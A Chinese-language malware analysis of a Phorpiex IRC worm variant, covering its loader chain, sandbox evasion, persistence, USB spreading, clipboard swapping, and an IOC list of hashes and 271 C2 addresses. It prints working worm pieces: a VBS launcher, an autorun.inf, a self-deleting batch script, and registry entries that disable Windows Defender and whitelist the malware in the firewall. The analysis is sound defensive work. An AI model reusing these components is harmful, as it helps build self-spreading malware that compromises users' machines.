概述
這是一例Phorpiex僵尸網絡變種,通過NSIS打包,加載惡意dll(Flaminius.dll),讀取dat文件(Preoral.dat),在內存解密并解壓縮出一個Pe,創建同名傀儡進程并注入。通過可移動存儲介質傳播,通過IRC協議連接C2服務器,內嵌了271個c2地址,會檢測沙箱,替換系統剪貼板內容。
樣本的基本信息
文件大小: 126 KB (129,638 字節)
MD5: 9365b48827f3cb8197a848b5541e44dc
SHA1: 8ab949370c6ccff66610da3dbddafc828b12e3e7
SHA256: 0d3313a93ddc742908a4b2396ebfe1e080ef9c31d759fa552842aae9b4dbafe7
PE32安裝程序: Nullsoft Scriptable Install System(3.0b1)[lzma,solid]鏈接程序: Microsoft Linker(6.0*)[GUI32]附加: Binary數據: NSIS data
是一個nsis打包的自解壓程序,使用7zip 15.05 解壓后如下,有3個目錄
│ [NSIS].nsi
│
├─$PLUGINSDIR
│ InstallOptions.dll
│ ioSpecial.ini
│ modern-header.bmp
│ modern-wizard.bmp
│ System.dll
│
├─$TEMP
│ Flaminius.dll
│ Preoral.dat
│
└─$_4_└─$_4_Uninstall.exe
[NSIS].nsi腳本中有一段,說明程序的入口在Flaminius.dll。
SetOutPath $TEMPFile Preoral.datFile Flaminius.dllSystem::Call Flaminius::Ninth
重點分析這個Flaminius.dll
第二階段 加載器 Flaminius.dll
樣本的基本信息
Flaminius.dll:
Verified: Unsigned
Link date: 12:27 2016/9/2
Publisher: n/a
Company: Adobe Systems Incorporated
Description: Adobe Setup
Product: Adobe Setup
Prod version: 8,0,0,15
File version: 8,0,0,15
MachineType: 32-bit
MD5: 12DD13145E30FD83685161905E9A22B1
SHA1: 8822796E570D9D002A04610362A787CF410A3ACDPE32編譯器: EP:Microsoft Visual C/C++(6.0 (1720-8966))[DLL32]編譯器: Microsoft Visual C/C++(6.0)[msvcrt]鏈接程序: Microsoft Linker(6.0*)[DLL32]Preoral.dat:
Verified: Unsigned
File date: 21:18 2017/11/20
MD5: 85F94AE59CC3C63B1FA621BBF7723F44
SHA1: 80B56BD65AEF79CAB4DE4E0C57BAC4BF0921F872
Flaminius.dll讀取Preoral.dat的內容,在內存中解密,調用RtlDecompressBuffer函數解壓后是一個pe,創建一個同名的傀儡進程,將這個pe注入其中。
使用OD動態調試,將這個pe dump出來分析。這個樣本靜態分析不太容易,其幾乎所有的api都動態獲取的。
第三階段 解密解壓后的pe
這個pe是病毒的主體,主要功能都在里頭。
樣本的基本信息
Verified: Unsigned
Link date: 5:35 2017/11/19
MachineType: 32-bit
文件大小: 33.0 KB (33,792 字節 0x8400)
MD5: 35FFA90B7F75D4DB208436994BED3D3E
SHA1: 4BC8D1A3C0AD50FA3F07C86428F3CD33FCB7EC53
PE32編譯器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]編譯器: Microsoft Visual C/C++(2008 SP1)[msvcrt]鏈接程序: Microsoft Linker(9.0)[GUI32]
path:Cqoifh oiqhof qhoif oif8z8whfwh 8fho ehfoq hof hehue hb
使用IDA打開很容易分析明白。
首先檢測當前環境是否在沙箱中。通過查詢硬盤的ProductId中是否含有關鍵字qemu、virtual??、vmware、xen來判斷當前環境是否為沙箱。
若是沙箱話,自毀并退出。自毀通過bat文件來實現,在臨時目錄下創建一個bat文件,文件名為10個字節的隨機字符串。內容如下
:repeat
del "病毒路徑"
if exist "病毒路徑" goto repeat
del "C:\Users\ADMINI~1\AppData\Local\Temp\[隨機10個字符].bat"
創建互斥量 t46
,防雙開。
刪除文件 病毒路徑:Zone.Identifier
。(Zone.Identifier文件中的內容是一個文本文件,其中包含了有關下載文件的安全區域的信息。該信息主要用于確定下載文件的來源,并提供安全警告或限制性措施)。
首先感染系統,在系統中創建副本,路徑為下面三個之一,目錄M-505052074572749672056208574286582740540
和winmgr.exe
文件。
%windir%\M-505052074572749672056208574286582740540\winmgr.exe
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe
%temp%\M-505052074572749672056208574286582740540\winmgr.exe
修改下列注冊表項
添加防火墻策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
在這個配置中,該應用程序被授權通過系統防火墻。具體的配置信息如下:
- `[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]` 表示應用程序的路徑。
- `*:Enabled` 表示開啟所有協議(TCP和UDP)的授權。
- `Microsoft Windows Manager` 是說明或備注,表示這個應用程序是"Microsoft Windows Manager"。添加開機啟動項,啟動項名為Microsoft Windows Manager
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"禁用windows Defind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4
首先感染系統會運行系統中的副本,然后退出當前進程。
創建三個線程,執行惡意操作。主要是感染可移動存儲介質和遠程驅動器、替換剪貼板中的內容、通過IRC協議連接C2執行惡意操作。
下面詳細講一下這三個線程的功能。
感染可移動存儲介質
在U盤的根目錄下創建了三個文件(DeviceConfigManager.vbs
,autorun.inf
,.lnk
),一個目錄(_
),只有.lnk文件是顯示狀態,其它文件都被隱藏了。
.lnk文件如下,其圖標為驅動器圖標,指向同目錄下的DeviceConfigManager.vbs
。
DeviceConfigManager.vbs
的內容如下,這是一個vbs文件,其中的變量名是隨機生成的,其中還有一些混淆代碼沒有顯示。這個vbs的功能是關閉當前窗口,并打開名為_
的文件夾和_\DeviceConfigManager.exe
文件。
...
Dim jllkhjaekeovdlz
Dim rhpsafddxaculbu
Dim imyhscwulsnrtpn
Set jllkhjaekeovdlz = wscript.CreateObject("WScript.Shell")
Set rhpsafddxaculbu = wscript.CreateObject("Scripting.FileSystemObject")
Set imyhscwulsnrtpn = wscript.CreateObject("Shell.Application")'向系統發送鍵盤命令,具體是`%{F4}`,表示按下"Alt + F4"鍵組合,用于關閉當前窗口。
jllkhjaekeovdlz.SendKeys "%{F4}"'若存在名為"_"的文件夾,打開該文件夾。
If rhpsafddxaculbu.FolderExists("_") Then
jllkhjaekeovdlz.Run "_"
End If'若存在名為"\DeviceConfigManager.exe"的文件,以最大化方式打開該文件
If rhpsafddxaculbu.FileExists("_\DeviceConfigManager.exe") Then
jllkhjaekeovdlz.Run "_\DeviceConfigManager.exe", 2
End If
autorun.inf
文件如下,其中有混淆的部分(未顯示),這是一個自動運行腳本的標準autorun.inf文件,內容如下,這個autorun.inf文件的作用是在U盤插入計算機時自動運行U盤根目錄下的"_\DeviceConfigManager.exe"文件,并設置U盤的圖標為系統SHELL32.dll文件的第4個圖標(文件夾圖標)。同時啟用了AutoPlay功能,用于實現病毒的自啟動。
[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,4
open=_\DeviceConfigManager.exe
UseAutoPlay=1
目錄_下的為病毒的副本(DeviceConfigManager.exe
)和原來U盤內的文件。
替換剪貼板的內容
根據以下規則替換系統剪貼板的文本內容
- 首字母在為這些字母
13B2XDE0L4PARrtz
之一 - 首字母為4或2,若長度為在90和115之間
- 首字母不是4或2,若長度在25到45之間
- 不含有O、I、l三個字符
- 只含有字母和數字字符
若滿足上面的條件,根據下面的規則替剪貼板中的內容。不知道其作用是啥。
連接C2地址
樣本中內嵌了1個c2 IP和270個c2域名,見IOC部分。
會依次連接這些c2,若找到可用的c2地址后,使用IRC協議與C2通信,支持的IRC命令有PING、PONG、USER JOIN、NICK、PRIVMSG。
主要的功能有:
- 自毀
- 獲取主機信息
- 下載載荷執行,或更新自身
首先通過訪問http://api.wipmania.com/
來獲取當前的IP地域,與命令中區域信息比對。
下載一個pe保存在臨時目錄下(文件名為隨機的10位字符),執行。若有更新命令,退出當前進程。
IOC
hash
9365b48827f3cb8197a848b5541e44dc 原始樣本
12DD13145E30FD83685161905E9A22B1 加載器Flaminius.dll
85F94AE59CC3C63B1FA621BBF7723F44 加密的載荷 Preoral.dat
35FFA90B7F75D4DB208436994BED3D3E 注入傀儡進程的部分 文件
主機中
%temp%\[隨機10個字符].bat 自毀腳本
%windir%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\[隨機10個字符].exe 下載的載荷U盤中
X:\DeviceConfigManager.vbs 啟動病毒打開目錄_
X:\autorun.inf 用于自啟動
X:\.lnk 誘導用戶點擊的快捷方式
X:\_\DeviceConfigManager.exe 病毒母體互斥量 t46注冊表
添加防火墻策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
開機自啟動
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"
關閉winDefind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4網絡
http://api.wipmania.com/ 用于的獲取當前IP地域信息
c2
220.181.87.80:5050
rohgoruhgsorhugih.ru:5050
oeihefoeaboeubfuo.ru:5050
iapghahpnpnapcipa.ru:5050
oeabocbeogoaehgoi.ru:5050
ageihehaioeoaiegj.ru:5050
eghoabeogbuaeofua.ru:5050
siiifibiiegiiciib.ru:5050
aefobfboabobfaoua.ru:5050
abvainvienvaiebai.ru:5050
goiaegodbuebieibg.ru:5050
rohgoruhgsorhugih.su:5050
oeihefoeaboeubfuo.su:5050
iapghahpnpnapcipa.su:5050
oeabocbeogoaehgoi.su:5050
ageihehaioeoaiegj.su:5050
eghoabeogbuaeofua.su:5050
siiifibiiegiiciib.su:5050
aefobfboabobfaoua.su:5050
abvainvienvaiebai.su:5050
goiaegodbuebieibg.su:5050
rohgoruhgsorhugih.ws:5050
oeihefoeaboeubfuo.ws:5050
iapghahpnpnapcipa.ws:5050
oeabocbeogoaehgoi.ws:5050
ageihehaioeoaiegj.ws:5050
eghoabeogbuaeofua.ws:5050
siiifibiiegiiciib.ws:5050
aefobfboabobfaoua.ws:5050
abvainvienvaiebai.ws:5050
goiaegodbuebieibg.ws:5050
rohgoruhgsorhugih.in:5050
oeihefoeaboeubfuo.in:5050
iapghahpnpnapcipa.in:5050
oeabocbeogoaehgoi.in:5050
ageihehaioeoaiegj.in:5050
eghoabeogbuaeofua.in:5050
siiifibiiegiiciib.in:5050
aefobfboabobfaoua.in:5050
abvainvienvaiebai.in:5050
goiaegodbuebieibg.in:5050
rohgoruhgsorhugih.kz:5050
oeihefoeaboeubfuo.kz:5050
iapghahpnpnapcipa.kz:5050
oeabocbeogoaehgoi.kz:5050
ageihehaioeoaiegj.kz:5050
eghoabeogbuaeofua.kz:5050
siiifibiiegiiciib.kz:5050
aefobfboabobfaoua.kz:5050
abvainvienvaiebai.kz:5050
goiaegodbuebieibg.kz:5050
rohgoruhgsorhugih.nl:5050
oeihefoeaboeubfuo.nl:5050
iapghahpnpnapcipa.nl:5050
oeabocbeogoaehgoi.nl:5050
ageihehaioeoaiegj.nl:5050
eghoabeogbuaeofua.nl:5050
siiifibiiegiiciib.nl:5050
aefobfboabobfaoua.nl:5050
abvainvienvaiebai.nl:5050
goiaegodbuebieibg.nl:5050
rohgoruhgsorhugih.de:5050
oeihefoeaboeubfuo.de:5050
iapghahpnpnapcipa.de:5050
oeabocbeogoaehgoi.de:5050
ageihehaioeoaiegj.de:5050
eghoabeogbuaeofua.de:5050
siiifibiiegiiciib.de:5050
aefobfboabobfaoua.de:5050
abvainvienvaiebai.de:5050
goiaegodbuebieibg.de:5050
rohgoruhgsorhugih.fr:5050
oeihefoeaboeubfuo.fr:5050
iapghahpnpnapcipa.fr:5050
oeabocbeogoaehgoi.fr:5050
ageihehaioeoaiegj.fr:5050
eghoabeogbuaeofua.fr:5050
siiifibiiegiiciib.fr:5050
aefobfboabobfaoua.fr:5050
abvainvienvaiebai.fr:5050
goiaegodbuebieibg.fr:5050
rohgoruhgsorhugih.it:5050
oeihefoeaboeubfuo.it:5050
iapghahpnpnapcipa.it:5050
oeabocbeogoaehgoi.it:5050
ageihehaioeoaiegj.it:5050
eghoabeogbuaeofua.it:5050
siiifibiiegiiciib.it:5050
aefobfboabobfaoua.it:5050
abvainvienvaiebai.it:5050
goiaegodbuebieibg.it:5050
rohgoruhgsorhugih.at:5050
oeihefoeaboeubfuo.at:5050
iapghahpnpnapcipa.at:5050
oeabocbeogoaehgoi.at:5050
ageihehaioeoaiegj.at:5050
eghoabeogbuaeofua.at:5050
siiifibiiegiiciib.at:5050
aefobfboabobfaoua.at:5050
abvainvienvaiebai.at:5050
goiaegodbuebieibg.at:5050
rohgoruhgsorhugih.ua:5050
oeihefoeaboeubfuo.ua:5050
iapghahpnpnapcipa.ua:5050
oeabocbeogoaehgoi.ua:5050
ageihehaioeoaiegj.ua:5050
eghoabeogbuaeofua.ua:5050
siiifibiiegiiciib.ua:5050
aefobfboabobfaoua.ua:5050
abvainvienvaiebai.ua:5050
goiaegodbuebieibg.ua:5050
rohgoruhgsorhugih.be:5050
oeihefoeaboeubfuo.be:5050
iapghahpnpnapcipa.be:5050
oeabocbeogoaehgoi.be:5050
ageihehaioeoaiegj.be:5050
eghoabeogbuaeofua.be:5050
siiifibiiegiiciib.be:5050
aefobfboabobfaoua.be:5050
abvainvienvaiebai.be:5050
goiaegodbuebieibg.be:5050
rohgoruhgsorhugih.hu:5050
oeihefoeaboeubfuo.hu:5050
iapghahpnpnapcipa.hu:5050
oeabocbeogoaehgoi.hu:5050
ageihehaioeoaiegj.hu:5050
eghoabeogbuaeofua.hu:5050
siiifibiiegiiciib.hu:5050
aefobfboabobfaoua.hu:5050
abvainvienvaiebai.hu:5050
goiaegodbuebieibg.hu:5050
rohgoruhgsorhugih.ir:5050
oeihefoeaboeubfuo.ir:5050
iapghahpnpnapcipa.ir:5050
oeabocbeogoaehgoi.ir:5050
ageihehaioeoaiegj.ir:5050
eghoabeogbuaeofua.ir:5050
siiifibiiegiiciib.ir:5050
aefobfboabobfaoua.ir:5050
abvainvienvaiebai.ir:5050
goiaegodbuebieibg.ir:5050
rohgoruhgsorhugih.pl:5050
oeihefoeaboeubfuo.pl:5050
iapghahpnpnapcipa.pl:5050
oeabocbeogoaehgoi.pl:5050
ageihehaioeoaiegj.pl:5050
eghoabeogbuaeofua.pl:5050
siiifibiiegiiciib.pl:5050
aefobfboabobfaoua.pl:5050
abvainvienvaiebai.pl:5050
goiaegodbuebieibg.pl:5050
rohgoruhgsorhugih.es:5050
oeihefoeaboeubfuo.es:5050
iapghahpnpnapcipa.es:5050
oeabocbeogoaehgoi.es:5050
ageihehaioeoaiegj.es:5050
eghoabeogbuaeofua.es:5050
siiifibiiegiiciib.es:5050
aefobfboabobfaoua.es:5050
abvainvienvaiebai.es:5050
goiaegodbuebieibg.es:5050
rohgoruhgsorhugih.ro:5050
oeihefoeaboeubfuo.ro:5050
iapghahpnpnapcipa.ro:5050
oeabocbeogoaehgoi.ro:5050
ageihehaioeoaiegj.ro:5050
eghoabeogbuaeofua.ro:5050
siiifibiiegiiciib.ro:5050
aefobfboabobfaoua.ro:5050
abvainvienvaiebai.ro:5050
goiaegodbuebieibg.ro:5050
rohgoruhgsorhugih.lu:5050
oeihefoeaboeubfuo.lu:5050
iapghahpnpnapcipa.lu:5050
oeabocbeogoaehgoi.lu:5050
ageihehaioeoaiegj.lu:5050
eghoabeogbuaeofua.lu:5050
siiifibiiegiiciib.lu:5050
aefobfboabobfaoua.lu:5050
abvainvienvaiebai.lu:5050
goiaegodbuebieibg.lu:5050
rohgoruhgsorhugih.gr:5050
oeihefoeaboeubfuo.gr:5050
iapghahpnpnapcipa.gr:5050
oeabocbeogoaehgoi.gr:5050
ageihehaioeoaiegj.gr:5050
eghoabeogbuaeofua.gr:5050
siiifibiiegiiciib.gr:5050
aefobfboabobfaoua.gr:5050
abvainvienvaiebai.gr:5050
goiaegodbuebieibg.gr:5050
rohgoruhgsorhugih.md:5050
oeihefoeaboeubfuo.md:5050
iapghahpnpnapcipa.md:5050
oeabocbeogoaehgoi.md:5050
ageihehaioeoaiegj.md:5050
eghoabeogbuaeofua.md:5050
siiifibiiegiiciib.md:5050
aefobfboabobfaoua.md:5050
abvainvienvaiebai.md:5050
goiaegodbuebieibg.md:5050
rohgoruhgsorhugih.br:5050
oeihefoeaboeubfuo.br:5050
iapghahpnpnapcipa.br:5050
oeabocbeogoaehgoi.br:5050
ageihehaioeoaiegj.br:5050
eghoabeogbuaeofua.br:5050
siiifibiiegiiciib.br:5050
aefobfboabobfaoua.br:5050
abvainvienvaiebai.br:5050
goiaegodbuebieibg.br:5050
rohgoruhgsorhugih.net:5050
oeihefoeaboeubfuo.net:5050
iapghahpnpnapcipa.net:5050
oeabocbeogoaehgoi.net:5050
ageihehaioeoaiegj.net:5050
eghoabeogbuaeofua.net:5050
siiifibiiegiiciib.net:5050
aefobfboabobfaoua.net:5050
abvainvienvaiebai.net:5050
goiaegodbuebieibg.net:5050
rohgoruhgsorhugih.org:5050
oeihefoeaboeubfuo.org:5050
iapghahpnpnapcipa.org:5050
oeabocbeogoaehgoi.org:5050
ageihehaioeoaiegj.org:5050
eghoabeogbuaeofua.org:5050
siiifibiiegiiciib.org:5050
aefobfboabobfaoua.org:5050
abvainvienvaiebai.org:5050
goiaegodbuebieibg.org:5050
rohgoruhgsorhugih.com:5050
oeihefoeaboeubfuo.com:5050
iapghahpnpnapcipa.com:5050
oeabocbeogoaehgoi.com:5050
ageihehaioeoaiegj.com:5050
eghoabeogbuaeofua.com:5050
siiifibiiegiiciib.com:5050
aefobfboabobfaoua.com:5050
abvainvienvaiebai.com:5050
goiaegodbuebieibg.com:5050
rohgoruhgsorhugih.name:5050
oeihefoeaboeubfuo.name:5050
iapghahpnpnapcipa.name:5050
oeabocbeogoaehgoi.name:5050
ageihehaioeoaiegj.name:5050
eghoabeogbuaeofua.name:5050
siiifibiiegiiciib.name:5050
aefobfboabobfaoua.name:5050
abvainvienvaiebai.name:5050
goiaegodbuebieibg.name:5050
rohgoruhgsorhugih.info:5050
oeihefoeaboeubfuo.info:5050
iapghahpnpnapcipa.info:5050
oeabocbeogoaehgoi.info:5050
ageihehaioeoaiegj.info:5050
eghoabeogbuaeofua.info:5050
siiifibiiegiiciib.info:5050
aefobfboabobfaoua.info:5050
abvainvienvaiebai.info:5050
goiaegodbuebieibg.info:5050
rohgoruhgsorhugih.mobi:5050
oeihefoeaboeubfuo.mobi:5050
iapghahpnpnapcipa.mobi:5050
oeabocbeogoaehgoi.mobi:5050
ageihehaioeoaiegj.mobi:5050
eghoabeogbuaeofua.mobi:5050
siiifibiiegiiciib.mobi:5050
aefobfboabobfaoua.mobi:5050
abvainvienvaiebai.mobi:5050
goiaegodbuebieibg.mobi:5050
總結
這個樣本使用了側加載的技術,核心模塊不落地,有檢測沙箱的功能,通過IRC協議請求命令,很有代表性。
參考資料
-
NSIS 腳本提取教程 - 嗶哩嗶哩 (bilibili.com)
-
2018年還有哪些通過U盤傳播的病毒? - 知乎 (zhihu.com)
-
Phorpiex - An IRC worm - Full reversal for the fun of it (bin.re)
-
irc使用教程 - zqifa - 博客園 (cnblogs.com)
-
IRC(Internet Relay Chat)(因特網中繼聊天)協議——RFC1459文檔要點總結 - 知乎 (zhihu.com)
-
RFC 1459 - Internet Relay Chat Protocol (RFC1459) (faqs.org)